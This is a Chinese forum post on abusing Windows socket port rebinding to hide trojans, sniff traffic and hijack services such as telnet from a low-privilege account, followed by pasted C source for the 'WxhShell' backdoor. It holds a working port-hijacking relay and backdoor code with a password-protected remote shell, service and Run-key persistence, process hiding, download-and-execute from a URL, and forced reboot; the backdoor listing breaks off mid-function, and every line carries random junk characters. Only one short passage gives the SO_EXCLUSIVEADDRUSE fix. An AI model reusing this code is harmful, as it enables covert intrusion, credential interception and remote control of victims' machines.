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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )B0%"0?`8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); R8Vf6]s_  
Q'jw=w!|g  
  saddr.sin_family = AF_INET; ikV;]ox  
={zTQ+7S`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); uI/ wR!  
WXY'%G  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); * /n8T]s  
_<F)G,=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 V)>?[  
X&?s:A  
  这意味着什么?意味着可以进行如下的攻击: n%7?G=_kj  
u6ULk<<\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ()?83Xj[c  
LsuOmB|^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (jDz[b#OPz  
fyb;*hgu  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `IUn{I  
UE.kR+1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  daI_@kY"  
Z%qtAPd  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3>aEP5  
2.Qz"YDh =  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?zf3Fn2y  
zR^Gy"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i9DD)Y<  
M>]A! W=  
  #include \MOwp@|y  
  #include sE6>JaH  
  #include *c94'Tcl  
  #include    *kl  :/#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   {4G/HW28  
  int main() K%? g6j  
  { VIP7j(#t_g  
  WORD wVersionRequested; =\WF +r]V  
  DWORD ret; 1^}I?PbqV  
  WSADATA wsaData; ^ U*y*l$  
  BOOL val; 2+ cs^M3  
  SOCKADDR_IN saddr; Sz go@x$^  
  SOCKADDR_IN scaddr; 6p)AQTh>  
  int err; Q,&Li+u|  
  SOCKET s; MxIa,M <  
  SOCKET sc; -{xk&EB^$5  
  int caddsize; Nhjq.&  
  HANDLE mt; "+ou!YK+  
  DWORD tid;   <ukBAux,D  
  wVersionRequested = MAKEWORD( 2, 2 ); >Q\Kc=Q|  
  err = WSAStartup( wVersionRequested, &wsaData ); E=p+z"Ui  
  if ( err != 0 ) { Y"GNJtsL"  
  printf("error!WSAStartup failed!\n"); n|~y >w4  
  return -1; zXn-E  
  } PC#^L$cg}  
  saddr.sin_family = AF_INET; "s(~k  
   :pqUUZ6x&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 KkA)p/  
t~->&Ja   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); LKu\Mh|  
  saddr.sin_port = htons(23); +nDy b  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [8i)/5D4  
  { &vp KBR ^  
  printf("error!socket failed!\n"); \g39>;iR  
  return -1; USz~l7Xs  
  } rGyAzL]  
  val = TRUE; fORkH^Y(&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {_O!mI*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) o eU i  
  { E^axLp>(I  
  printf("error!setsockopt failed!\n"); 8Y?M:^f~  
  return -1; >1Z"5F7=  
  } esqmj#G  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {arqcILr  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  <OMwi9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 CI'RuR3y]Z  
*|fF;-#v  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |`5 IP8Z  
  {  8b2 =n  
  ret=GetLastError(); f~`=I NrU  
  printf("error!bind failed!\n"); ?nd: :O  
  return -1; ai{>rO3 }I  
  } `@/)S^jBau  
  listen(s,2); u5(8k_7  
  while(1) o$rjGa l  
  { |1U_5w  
  caddsize = sizeof(scaddr); *2G6Q g F  
  //接受连接请求 %=^/^[D  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ky2 bj}"p9  
  if(sc!=INVALID_SOCKET) FlBhCZ|^  
  { FE~D:)Xj'?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Z7;V}[wie  
  if(mt==NULL) _QPqF{iI  
  { )>iOj50n3  
  printf("Thread Creat Failed!\n"); .-KI,IU  
  break; P!eo#b^S  
  } 54+(o6E<  
  } *GT=U(d  
  CloseHandle(mt); gxv^=;2C  
  } m\L`$=eO8  
  closesocket(s); JE?rp1.  
  WSACleanup(); 3e_tT8  
  return 0; q< JCgO-F<  
  }   $TI^8 3  
  DWORD WINAPI ClientThread(LPVOID lpParam) i+Z)`  
  { 9L=mS  
  SOCKET ss = (SOCKET)lpParam; 7*!7EBb  
  SOCKET sc;  Aqy w  
  unsigned char buf[4096]; 1)ue-(o5  
  SOCKADDR_IN saddr; uE-(^u  
  long num; <RGH+4LF  
  DWORD val; sTM;l,  
  DWORD ret; /eF@a!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 S /hx\TzC  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;M:AcQZ|_  
  saddr.sin_family = AF_INET; No^gKh24  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `2mddx8  
  saddr.sin_port = htons(23); Joow{75K  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -NBVUUAgN  
  { V(MYReaPC]  
  printf("error!socket failed!\n"); f[@96p ?a[  
  return -1; .H" ?& Mf  
  } AUnfhk@$  
  val = 100; xE/?ncTK^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3gA%Q`"  
  { aZOn01v;!&  
  ret = GetLastError(); z*\_+u~u  
  return -1; 7o E0;'  
  } !}(B=-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9`tK 9  
  {  G 3Z"U  
  ret = GetLastError(); !J$r|IX5  
  return -1; FlqGexY5  
  } 8<=^Rkz  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) o?`FjZ6;x  
  { i?x gV_q;  
  printf("error!socket connect failed!\n"); mMAN* }`O  
  closesocket(sc); ?Nos;_/  
  closesocket(ss); }Q\%tZC#T  
  return -1; q~ H>rC(\  
  } wZqYtJ  
  while(1) oz) [ -  
  { =)a24PDG  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 cS ~OxAS  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]I?.1X5d0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 uO%0rKW  
  num = recv(ss,buf,4096,0); 2|nm> 4  
  if(num>0) :gVUk\)  
  send(sc,buf,num,0); V ao:9 ~  
  else if(num==0) K d&/9<{>  
  break; d)o5JD/  
  num = recv(sc,buf,4096,0); kwI``7g8*e  
  if(num>0) `|dyT6V0I_  
  send(ss,buf,num,0); L)e" qC_-  
  else if(num==0) HQqFrR  
  break; HI.*xkBXl&  
  } 66yw[,Y  
  closesocket(ss); 2~4:rEPJ:  
  closesocket(sc); AZj&;!}  
  return 0 ; }A)\bffH  
  } 3BFOZV+  
e;]tO-Nu  
=rjU=3!&(  
========================================================== "#Rh\DQ  
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下边附上一个代码,,WXhSHELL &V].,12x  
Jj4 HJ9  
========================================================== I2Xd"RHN  
'6so(>|  
#include "stdafx.h" ){^J8]b7#  
cD!,ZL  
#include <stdio.h> 8=8 hbdy;  
#include <string.h> lx)^wAO4  
#include <windows.h> @DN/]P  
#include <winsock2.h> q+ax]=w  
#include <winsvc.h> :U6` n  
#include <urlmon.h> e4z`:%vy  
Z)?$ZI@  
#pragma comment (lib, "Ws2_32.lib") <kh.fu@.Q  
#pragma comment (lib, "urlmon.lib") V6]6KP#D  
[Vd$FDki  
#define MAX_USER   100 // 最大客户端连接数 X1j8tg  
#define BUF_SOCK   200 // sock buffer {}O~tf_  
#define KEY_BUFF   255 // 输入 buffer P}R:o   
#Hw|P  
#define REBOOT     0   // 重启 7=^{~5#  
#define SHUTDOWN   1   // 关机 T{{:p\<]_  
77>oQ~q  
#define DEF_PORT   5000 // 监听端口 BWt`l,nF  
Y;i=c6  
#define REG_LEN     16   // 注册表键长度 mZ)>^.N6  
#define SVC_LEN     80   // NT服务名长度 }EK{UM9y  
f ULt4  
// 从dll定义API '{&Q&3J_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1`cH EAa  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2t= = <x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ge^`f<f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H 4<"+7  
u`bD`kfT>  
// wxhshell配置信息 'eM0i[E+`  
struct WSCFG { N} EKV  
  int ws_port;         // 监听端口 0TU3 _;o  
  char ws_passstr[REG_LEN]; // 口令 %a%xUce&-X  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y_Yf'z1>[  
  char ws_regname[REG_LEN]; // 注册表键名 fY<#KM6X  
  char ws_svcname[REG_LEN]; // 服务名 AwM`[`ReE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7;>|9k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q lc@$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !eX0Q 2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no CPz<iU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?ZF):}r vZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ailq,  c  
Qqm?%7A1  
}; `DM%a~^yg  
sf*4|P}  
// default Wxhshell configuration Sd7jd?#9'  
struct WSCFG wscfg={DEF_PORT, !=0h*=NOYt  
    "xuhuanlingzhe",  N' hT  
    1, lY%I("2=  
    "Wxhshell", N>mW64_H)  
    "Wxhshell", 'uL4ezTtA  
            "WxhShell Service", (x=$b(I  
    "Wrsky Windows CmdShell Service", F*72g)hVh  
    "Please Input Your Password: ", RQVu~7d[  
  1, 3j7FG%\  
  "http://www.wrsky.com/wxhshell.exe", e@D_0OZ  
  "Wxhshell.exe" '| 8 dt "C  
    }; <jh4P!\&j  
: auR0FE  
// 消息定义模块 *`>BOl+ro  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;[<(4v$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J1w;m/oV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `YhGd?uu$  
char *msg_ws_ext="\n\rExit."; nrac )W  
char *msg_ws_end="\n\rQuit."; $xO8?  
char *msg_ws_boot="\n\rReboot..."; m:@y_:X0  
char *msg_ws_poff="\n\rShutdown..."; IJ^~,+  
char *msg_ws_down="\n\rSave to "; 'a#lBzu\b  
BP/nK.  
char *msg_ws_err="\n\rErr!"; p2vN=[g9)  
char *msg_ws_ok="\n\rOK!"; J%"BCbxW~B  
#asg5 }  
char ExeFile[MAX_PATH]; qC`}vr|Z  
int nUser = 0; <-VBb[M#  
HANDLE handles[MAX_USER]; s.J 4&2Q  
int OsIsNt; c^}y9% 4c  
rc_m{.b  
SERVICE_STATUS       serviceStatus; M @5&.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; QLqtE;;)JK  
?=1eHnP!R  
// 函数声明 ;V,L_"/X  
int Install(void); eL3 _Lz  
int Uninstall(void); M2Q,&>M   
int DownloadFile(char *sURL, SOCKET wsh); :_e[xB=Yy  
int Boot(int flag); ;aQ`` B  
void HideProc(void); ;(C<gt,r}  
int GetOsVer(void); @*z"Hi>4  
int Wxhshell(SOCKET wsl); 'D\X$^J^  
void TalkWithClient(void *cs); ,s8/6n#  
int CmdShell(SOCKET sock); 'ZbWr*bo  
int StartFromService(void); *HoRYCL  
int StartWxhshell(LPSTR lpCmdLine); t2[/eM.G  
\VpEUU6^U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); JR!-1tnc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jTa\I&s,A  
4H{t6t@-:  
// 数据结构和表定义 5B=uvp|Y  
SERVICE_TABLE_ENTRY DispatchTable[] = "*d6E}wG  
{ s6H.Q$3L  
{wscfg.ws_svcname, NTServiceMain}, a?[[F{X9^  
{NULL, NULL} B;k'J:-"  
}; Q'OtXs 80  
QjTSbHtH  
// 自我安装 /U;j-m&   
int Install(void) {JE [  
{ *Fy6 -CC1  
  char svExeFile[MAX_PATH]; "Zp&7hI  
  HKEY key; juF9:Eah  
  strcpy(svExeFile,ExeFile); \.Lj A_  
 "J(M.Y  
// 如果是win9x系统,修改注册表设为自启动 sq|\!T  
if(!OsIsNt) { ^{M$S0g|N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4=Th<,<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t;* zr*  
  RegCloseKey(key); (*S<2HN5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Am, {Fj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +?J  N_aR  
  RegCloseKey(key); A \/~u"Y  
  return 0; A@V$~&JCL5  
    } M}8P _<,  
  } #9,8{ O"  
} g+#<;Gbpe  
else { Xm#W}Y'  
Xg dBLb  
// 如果是NT以上系统,安装为系统服务 /4x\}qvU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [F6 )Z[uG  
if (schSCManager!=0) 'K7\[if{  
{ M%E<]H2;S  
  SC_HANDLE schService = CreateService M<-Q8 a~  
  ( ;,77|]<XE  
  schSCManager, #`iEbiSq  
  wscfg.ws_svcname, Y 9$jJ1V  
  wscfg.ws_svcdisp, Fm`*j/rq  
  SERVICE_ALL_ACCESS, N@d~gE&^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~/rD _K  
  SERVICE_AUTO_START, Spn[:u@  
  SERVICE_ERROR_NORMAL, >7W)iwF  
  svExeFile, +>PsQ^^x  
  NULL, x}/jh  
  NULL, C.?^] Y  
  NULL, n ]g"H  
  NULL, t3)6R(JC  
  NULL lOm01&^"E  
  ); /a\i  
  if (schService!=0) jg]KE8(  
  { h*Fv~j'p  
  CloseServiceHandle(schService); 5zK,(cF0-  
  CloseServiceHandle(schSCManager); 6kAAdy}ck  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); . 1kB8&}  
  strcat(svExeFile,wscfg.ws_svcname); OBWb0t5H?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'I,a 29  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); URb8[~dR:  
  RegCloseKey(key); G_+/ e]P  
  return 0; B_[efM<R$  
    } 3Q,&D'];[  
  } k8?._1t  
  CloseServiceHandle(schSCManager); z"f@iJX?2  
} O>L,G)g  
} wO]e%BTO  
.i*oZ'[X  
return 1; JC cYFtW  
} "^&H9.z,v  
_d 6'f8[&  
// 自我卸载 f1vD{M ;  
int Uninstall(void) }+@!c%TCx~  
{ l8G1N[  
  HKEY key; k]p|kutQCy  
jSjC43lh  
if(!OsIsNt) { 0/v]YK.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t?"(Zb  
  RegDeleteValue(key,wscfg.ws_regname); J%?5d:iN+  
  RegCloseKey(key); SJ]6_4=y*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P!79{8  
  RegDeleteValue(key,wscfg.ws_regname); (_ G>dP_  
  RegCloseKey(key);  E0!d c  
  return 0; [q|W*[B:@  
  } C>|.0:[%  
} h(=<-p @  
} D>|`+=1'0"  
else { )Fx]LeI;  
."wF86jW|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @T^FOTW  
if (schSCManager!=0) T\9[PX<  
{ Krae^z9R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ao\P|K9MyL  
  if (schService!=0) %,WH*")  
  { DgT]Nty@b  
  if(DeleteService(schService)!=0) { 5Npxs&Ea  
  CloseServiceHandle(schService); a,w|r#x]  
  CloseServiceHandle(schSCManager); ;`oK5  
  return 0; fg LY{  
  } NVRzthg%c_  
  CloseServiceHandle(schService); ^]sb=Amw  
  } x'g4DYl  
  CloseServiceHandle(schSCManager); -J3~j kf  
} j""ZFh04  
} *QQeK# $s  
j!agD_J  
return 1; 6J>AU  
} W{-g?)Tou  
i.^ytbH  
// 从指定url下载文件 Rq|6d M6H  
int DownloadFile(char *sURL, SOCKET wsh) ) A:h  
{ b- - tl@H  
  HRESULT hr; JOuyEPy  
char seps[]= "/"; opH!sa@U  
char *token; *;@wPT  
char *file; 1 !_p  
char myURL[MAX_PATH]; _^W;J/He  
char myFILE[MAX_PATH]; ;qaPK2 a8  
:(]fC~G~  
strcpy(myURL,sURL); p q`uB  
  token=strtok(myURL,seps);  ,]EhDW6  
  while(token!=NULL) F `7 v  
  { g ` s|]VNt  
    file=token; 0 h A:=r  
  token=strtok(NULL,seps); =.z;:0]'n  
  } Wxj_DTi[1"  
bL xZ 5C7t  
GetCurrentDirectory(MAX_PATH,myFILE); a Vu!Qk=Z/  
strcat(myFILE, "\\"); SE\?8cs]-  
strcat(myFILE, file); 5QiQDQT}5  
  send(wsh,myFILE,strlen(myFILE),0); !'H$08Ql}  
send(wsh,"...",3,0); hdDT'+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2VRGTx  
  if(hr==S_OK) R%KF/1;/  
return 0; b*Y Wd3  
else @Fc:9a@  
return 1; .=;IdLO,Bf  
%>$<s<y  
} bB?E(>N;  
g4A{RI  
// 系统电源模块 (T*$4KGV  
int Boot(int flag) OK]QDb  
{ ,gw9R9 x_  
  HANDLE hToken; <7]HM5h  
  TOKEN_PRIVILEGES tkp; estiS  
~5+RK16  
  if(OsIsNt) { YH\9Je%jx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y.lWyH9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |OJWQU![by  
    tkp.PrivilegeCount = 1; (=^KP7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "jAd.x?X7e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bg Ux&3  
if(flag==REBOOT) { $A?9U}V#^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,jRAVt +{N  
  return 0; nsI+04[F  
} N[@H107`  
else { DURWE,W>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8GP17j  
  return 0; $~1vXe  
} ketp9}u  
  } Bh&pZcm|  
  else { dCi:@+z8  
if(flag==REBOOT) { dJgLS^1E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;~<To9O  
  return 0; KFbB}oId  
} 3'.@aMA@  
else { bVUIeX'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *:yG)J 3F  
  return 0; k^Qf |  
} N#l2wT  
} ?)1Y|W'Rv  
ol"|?*3q  
return 1; kY$EK]s  
} ~Fuq{e9`  
XY| y1L 3[  
// win9x进程隐藏模块 44} 5o  
void HideProc(void) f7a4E+}  
{ &1Ndi<Y^  
_94 W@dW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ??"_o3  
  if ( hKernel != NULL ) YHEn{z7  
  { Ef#LRcG-Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d[_26.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pbAL&}  
    FreeLibrary(hKernel); 1x|3|snz)  
  } ,*iA38d.!  
bq E'9GI  
return; }>h n  
} ]$"eGHX  
8NHm#Z3Ol  
// 获取操作系统版本 ^+76^*0  
int GetOsVer(void) @N4~|`?U  
{ .v+JV6!u  
  OSVERSIONINFO winfo; 2#7|zhgb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Zkd{EMW  
  GetVersionEx(&winfo); I&+.IK_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 96^aI1:  
  return 1; nW)+-Wxq  
  else /i"hViCrlG  
  return 0; &q>8D'  
} e\C-a4[C8P  
dQ8RrD=$&  
// 客户端句柄模块 Z i6s0Uck  
int Wxhshell(SOCKET wsl) V8/d27\  
{ -US:a8`  
  SOCKET wsh; Z oXz@/T  
  struct sockaddr_in client; n>}Y@{<]/  
  DWORD myID; `r}_92Tt  
fc+-/!v  
  while(nUser<MAX_USER) itzUq,T  
{ FC1rwXL(  
  int nSize=sizeof(client); jUm-!SK}q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A5Hx $.Z  
  if(wsh==INVALID_SOCKET) return 1; 6nk }k]Ji  
yq-~5ui  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E /H%q|q  
if(handles[nUser]==0) K}CgFBk  
  closesocket(wsh); ,LA'^I?  
else <uuumi-!%G  
  nUser++; NwF"Zh5eMW  
  } Be|! S_Y P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2G~{x7/[@  
|3FI\F;^q  
  return 0; 9F807G\4Qt  
} I:jIChT  
/f[Ek5/-0  
// 关闭 socket 3wv@wqx  
void CloseIt(SOCKET wsh) ,7s>#b'  
{ w<H Xe  
closesocket(wsh); qO"QSSbZqQ  
nUser--; G^ GIHdo  
ExitThread(0); U(f@zGV  
} nG'Yo8I^5  
B!Wp=9)G  
// 客户端请求句柄 X)!XR/?  
void TalkWithClient(void *cs) r^ Dm|^f#  
{ sg,\!'  
`&A`&-nc=  
  SOCKET wsh=(SOCKET)cs; J,Ki2'=  
  char pwd[SVC_LEN]; 50MM05aC  
  char cmd[KEY_BUFF]; Tm`@5  
char chr[1]; rT` sY  
int i,j; !kSemDC  
]S%_&ZMCM  
  while (nUser < MAX_USER) { FXr^ 4B}  
j9k:!|(2'  
if(wscfg.ws_passstr) { 9Vm aB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L~5f*LE$1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3g;Y  
  //ZeroMemory(pwd,KEY_BUFF); pl>b 6 |  
      i=0; {O>Td9  
  while(i<SVC_LEN) { 7SHllZ  
0G8@UJv6  
  // 设置超时 ;((t|  
  fd_set FdRead; 'KjH|u  
  struct timeval TimeOut; XdJD"|,h  
  FD_ZERO(&FdRead); t#.}0Te7  
  FD_SET(wsh,&FdRead); iOZ9A~Ywy  
  TimeOut.tv_sec=8; dLYM )-H`>  
  TimeOut.tv_usec=0; @S3L%lOH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ) ' xyK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *R+M#l9D`  
)"\= _E#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W%+02_/)  
  pwd=chr[0]; -dovk?'Gj  
  if(chr[0]==0xd || chr[0]==0xa) { DPf].i#  
  pwd=0; cI[i v  
  break; gqv+|:#  
  } WuE]pm]c  
  i++; } `L;.9  
    } =-oP,$k  
N[Xm5J  
  // 如果是非法用户,关闭 socket +}m`$B}mJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <9&GOaJ  
} yr+QV:oVA  
zmQQ/ 7K  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8(n>99 VVK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'ij+MU 1  
}$<v  
while(1) { Z><+4 '  
C5(XZscq  
  ZeroMemory(cmd,KEY_BUFF); # fF5O2E'3  
P\dfxR;8%  
      // 自动支持客户端 telnet标准   BW;@Gq@N  
  j=0; 6/cm TT$i  
  while(j<KEY_BUFF) { w(bvs&`{uC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jkl dr@t  
  cmd[j]=chr[0]; _8$xsj4_  
  if(chr[0]==0xa || chr[0]==0xd) { A@~9r9Uf  
  cmd[j]=0; jk`U7 G*  
  break; IsT}T}p,t  
  } Uhvy 2}w  
  j++; YN)qMI_ `A  
    } >0SG]er@  
|34k;l]E  
  // 下载文件 )Jvo%Y  
  if(strstr(cmd,"http://")) { IgJG,!>h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |d&Kr0QIV  
  if(DownloadFile(cmd,wsh)) c*#$sZ@YA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d0T 8Cwc b  
  else x(>XM:|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jA^yUd-  
  } N#-%b"(  
  else { b6;MTz*k>  
bo/U5p  
    switch(cmd[0]) { ?4%#myO3a  
  X7*ossv  
  // 帮助 R[j'<gd.  
  case '?': { YP!}Bf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;ZJ. 7t'  
    break; Gmu[UI}w8  
  } ,^CG\);  
  // 安装 Eva&FHRTY  
  case 'i': { Z wKX$(n  
    if(Install()) nd\$Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UK'8cz9  
    else (Qw>P42J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yuq o ^i  
    break; lw8t#_P  
    } Jm=3 %H  
  // 卸载 @=g{4(zR ^  
  case 'r': { .`KzA]&#  
    if(Uninstall()) \|vo@E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p}~Sgi  
    else ymrnu-p o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,4,Bc<  
    break; ?pQ0* O0  
    } 'ym Mu}q  
  // 显示 wxhshell 所在路径 DQ$m@_/4w  
  case 'p': { l^tRy_T:-  
    char svExeFile[MAX_PATH]; k{!9 f=^   
    strcpy(svExeFile,"\n\r"); BSkmFd(*  
      strcat(svExeFile,ExeFile); n2o)K;wW+  
        send(wsh,svExeFile,strlen(svExeFile),0); ,W 'P8C  
    break; ;<o?JM  
    } @@3 NSKA  
  // 重启 $2]>{g  
  case 'b': { t0<RtIh9e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  f^}n#  
    if(Boot(REBOOT)) 4<<eqxI$|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wf?[GO  
    else { ?W dY{;&  
    closesocket(wsh); KWYjN h#*  
    ExitThread(0); ?;w`hA3ei  
    } \u6.*w5TI  
